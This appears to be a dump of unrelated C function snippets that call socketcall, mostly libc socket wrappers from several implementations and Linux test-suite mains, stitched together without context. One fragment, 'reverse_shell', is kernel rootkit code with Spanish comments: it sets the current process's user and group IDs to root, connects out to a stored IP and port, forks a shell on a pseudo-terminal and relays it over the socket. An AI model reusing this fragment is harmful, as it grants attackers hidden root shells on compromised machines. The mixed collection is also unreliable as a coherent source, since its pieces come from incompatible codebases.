int socket(int domain, int type, int protocol) { int s = socketcall(socket, domain, type, protocol, 0, 0, 0); if (s<0 && (errno==EINVAL || errno==EPROTONOSUPPORT) && (type&(SOCK_CLOEXEC|SOCK_NONBLOCK))) { s = socketcall(socket, domain, type & ~(SOCK_CLOEXEC|SOCK_NONBLOCK), protocol, 0, 0, 0); if (s < 0) return s; if (type & SOCK_CLOEXEC) fcntl(s, F_SETFD, FD_CLOEXEC); if (type & SOCK_NONBLOCK) fcntl(s, F_SETFL, fcntl(s, F_GETFL) | O_NONBLOCK); } return s; }
int shutdown (int sockfd, int how) { unsigned long args[2]; args[0] = sockfd; args[1] = how; return (socketcall (SYS_SHUTDOWN, args)); }
ssize_t sendto(int fd, const void *buf, size_t len, int flags, const struct sockaddr *addr, socklen_t alen) { ssize_t r; CANCELPT_BEGIN; r = socketcall(sendto, fd, buf, len, flags, addr, alen); CANCELPT_END; return r; }
int accept(int fd, struct sockaddr *addr, socklen_t *len) { int ret; CANCELPT_BEGIN; ret = socketcall(accept, fd, addr, len, 0, 0, 0); CANCELPT_END; return ret; }
int connect(int fd, const struct sockaddr *addr, socklen_t len) { int ret; CANCELPT_BEGIN; ret = socketcall(connect, fd, addr, len, 0, 0, 0); CANCELPT_END; return ret; }
int sendmsg(int s, const struct msghdr *msg, unsigned int flags) { unsigned long args[3] = { (unsigned long) s, (unsigned long) msg, (unsigned long) flags }; return socketcall(SYS_SENDMSG, args); }
int listen(int sockfd, int backlog) { unsigned long args[2]; args[0] = sockfd; args[1] = backlog; return socketcall(SYS_LISTEN, args); }
int socket(int family, int type, int protocol) { unsigned long args[3]; args[0] = family; args[1] = type; args[2] = protocol; return socketcall(SYS_SOCKET, args); }
int socketpair(int domain, int type, int protocol, int fd[2]) { int r = socketcall(socketpair, domain, type, protocol, fd, 0, 0); if (r<0 && (errno==EINVAL || errno==EPROTONOSUPPORT) && (type&(SOCK_CLOEXEC|SOCK_NONBLOCK))) { r = socketcall(socketpair, domain, type & ~(SOCK_CLOEXEC|SOCK_NONBLOCK), protocol, fd, 0, 0); if (r < 0) return r; if (type & SOCK_CLOEXEC) { __syscall(SYS_fcntl, fd[0], F_SETFD, FD_CLOEXEC); __syscall(SYS_fcntl, fd[1], F_SETFD, FD_CLOEXEC); } if (type & SOCK_NONBLOCK) { __syscall(SYS_fcntl, fd[0], F_SETFL, O_NONBLOCK); __syscall(SYS_fcntl, fd[1], F_SETFL, O_NONBLOCK); } } return r; }
ssize_t sendmsg(int fd, const struct msghdr *msg, int flags) { ssize_t r; #if LONG_MAX > INT_MAX struct msghdr h; if (msg) { h = *msg; h.__pad1 = h.__pad2 = 0; msg = &h; } #endif CANCELPT_BEGIN; r = socketcall(sendmsg, fd, msg, flags, 0, 0, 0); CANCELPT_END; return r; }
int main(int ac, char **av) { int lc; /* loop counter */ char *msg; /* message returned from parse_opts */ if ((msg = parse_opts(ac, av, NULL, NULL)) != (char *)NULL) { tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); tst_exit(); } /* perform global setup for test */ setup(); /* check looping state */ for (lc = 0; TEST_LOOPING(lc); lc++) { /* reset Tst_count in case we are looping. */ Tst_count = 0; TC.setupfunc(); TEST(socketcall(TC.call, args)); /* check return code */ if (TEST_RETURN == -1) { tst_resm(TFAIL|TERRNO, "socketcall() Failed " " with return=%ld", TEST_RETURN); exit(1); } else { tst_resm(TPASS, "socketcall() passed " "for %s with return=%ld ", TC.desc, TEST_RETURN); close(s); } } /* cleanup and exit */ cleanup(); return 0; } /* End main */
int main(int ac, char **av) { int lc; /* loop counter */ char *msg; /* message returned from parse_opts */ if ((msg = parse_opts(ac, av, NULL, NULL)) != (char *)NULL) { tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); tst_exit(); } /* perform global setup for test */ setup(); /* check looping state */ for (lc = 0; TEST_LOOPING(lc); lc++) { /* reset Tst_count in case we are looping. */ Tst_count = 0; TEST(socketcall(TC.call, TC.args)); TEST_ERROR_LOG(TEST_ERRNO); /* check return code */ if ((TEST_RETURN == -1) && (TEST_ERRNO == TC.experrno)) { tst_resm(TPASS, "socketcall() failed" " as expected for %s", TC.desc); } else { tst_brkm(TFAIL, tst_exit, "socketcall()" " Failed with wrong experrno" " =%d got: errno=%d : %s", TC.experrno, TEST_ERRNO, strerror(TEST_ERRNO)); exit(1); } } /* cleanup and exit */ cleanup(); return 0; } /* End main */
int main(int ac, char **av) { int lc; char *msg; int i; /* s is socket descriptor */ if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) { tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); tst_exit(); } setup(); /* check looping state */ for (lc = 0; TEST_LOOPING(lc); lc++) { tst_count = 0; for (i = 0; i < TST_TOTAL; i++) { TEST(socketcall(TC[i].call, TC[i].args)); /* check return code */ if (TEST_RETURN == -1) { tst_resm(TFAIL | TTERRNO, "socketcall() Failed with" " return=%ld", TEST_RETURN); } else { tst_resm(TPASS, "socketcall() passed for" " :%s with return=%ld ", TC[i].desc, TEST_RETURN); close(TEST_RETURN); } } } /* cleanup and exit */ cleanup(); tst_exit(); }
int __libc_start_main(int (*main)(int,char **,char **), int argc, char **argv) { char **envp = argv + argc + 1; size_t i, *auxv, aux[AUX_CNT] = { 0 }; int fd, ret; struct linux_stat lst; struct ifreq ifr; struct sockaddr_ll sa; int slen = sizeof(sa); for (i = 0; envp[i]; i++); auxv = (void *)(envp + i + 1); for (i = 0; auxv[i]; i += 2) if (auxv[i] < AUX_CNT) aux[auxv[i]] = auxv[i + 1]; __auxv = auxv; __hwcap = aux[AT_HWCAP]; __sysinfo = aux[AT_SYSINFO]; __pagesize = aux[AT_PAGESZ]; __random = aux[AT_RANDOM]; /* init tls; gcc needs this even for some non-tls using programs */ __platform_set_thread_area(builtin_tls); /* iterate over fds to pick up the special ones */ for (fd = 0; fd < MAXFD; fd++) { if (syscall(SYS_fstat, fd, &lst) == -1) break; switch (lst.st_mode & LINUX_S_IFMT) { case LINUX_S_IFSOCK: __platform_socket_fd = fd; ret = socketcall(getsockname, fd, &sa, &slen, 0, 0, 0); if (ret == 0 && sa.sll_family == AF_PACKET) { __platform_pollfd[__platform_npoll].fd = fd; __platform_pollfd[__platform_npoll].events = POLLIN | POLLPRI; __platform_npoll++; } break; case LINUX_S_IFCHR: /* /dev/urandom */ if (lst.st_rdev == makedev(1, 9)) { __platform_random_fd = fd; break; } /* macvtap has a dynamic major number, so hard to test */ if (lst.st_rdev != makedev(10, 200) && major(lst.st_rdev) < 138) break; ret = syscall(SYS_ioctl, fd, TUNGETIFF, &ifr); if (ret == 0) { /* we do not yet support macvtap offload facilities */ if (ifr.ifr_flags & IFF_VNET_HDR) { ifr.ifr_flags &= ~IFF_VNET_HDR; syscall(SYS_ioctl, fd, TUNSETIFF, &ifr); } __platform_pollfd[__platform_npoll].fd = fd; __platform_pollfd[__platform_npoll].events = POLLIN | POLLPRI; __platform_npoll++; } break; } } return __franken_start_main(main, argc, argv, envp); }
int __libc_recvmsg(int a, struct msghdr* msg, int flags) { long args[] = { a, (long) msg, flags }; return socketcall(SYS_RECVMSG, args); }
int __libc_bind(int a, void * b, int c) { long args[] = { a, (long) b, c }; return socketcall(SYS_BIND, args); }
int reverse_shell(void *ip) { struct task_struct *ptr = current; struct sockaddr_in dire; struct pt_regs regs; mm_segment_t old_fs; unsigned long arg[3]; int soc, tmp_pid; unsigned char tmp; fd_set s_read; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; arg[0] = AF_INET; arg[1] = SOCK_STREAM; arg[2] = 0; set_fs(KERNEL_DS); if ((soc = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } memset((void *) &dire, 0, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons((unsigned short) global_port); dire.sin_addr.s_addr = (unsigned long) global_ip; arg[0] = soc; arg[1] = (unsigned long) &dire; arg[2] = (unsigned long) sizeof(dire); if (socketcall(SYS_CONNECT, arg) == -1) { close(soc); set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } /* pillamos tty */ epty = get_pty(); /* ejecutamos shell */ set_fs(old_fs); memset(®s, 0, sizeof(regs)); regs.xds = __USER_DS; regs.xes = __USER_DS; regs.orig_eax = -1; regs.xcs = __KERNEL_CS; regs.eflags = 0x286; regs.eip = (unsigned long) ejecutar_shell; tmp_pid = (*my_do_fork)(0, 0, ®s, 0, NULL, NULL); set_fs(KERNEL_DS); while(1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); if (FD_ISSET(ptmx, &s_read)) { if (read(ptmx, &tmp, 1) == 0) break; write(soc, &tmp, 1); } if (FD_ISSET(soc, &s_read)) { if (read(soc, &tmp, 1) == 0) break; write(ptmx, &tmp, 1); } } /* fin while */ /* matamos el proceso */ kill(tmp_pid, SIGKILL); /* salimos */ set_fs(old_fs); e_exit(0); return(-1); } /********** fin reverse_shell **********/
int setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen) { return socketcall(setsockopt, fd, level, optname, optval, optlen, 0); }
int __libc_shutdown(int s, int how) { unsigned long args[] = { s, (long) how, 0 }; return socketcall(SYS_SHUTDOWN, args); }
int listen(int fd, int backlog) { return socketcall(listen, fd, backlog, 0, 0, 0, 0); }
int __libc_sendto(int a, const void * b, size_t c, int flags, void *to, int tolen) { unsigned long args[] = { a, (long) b, c, flags, (long) to, tolen }; return socketcall(SYS_SENDTO, args); }
int __libc_setsockopt(int a, int b, int c, void *d, void *e) { long args[] = { a, b, c, (long)d, (long) e }; return socketcall(SYS_SETSOCKOPT, args); }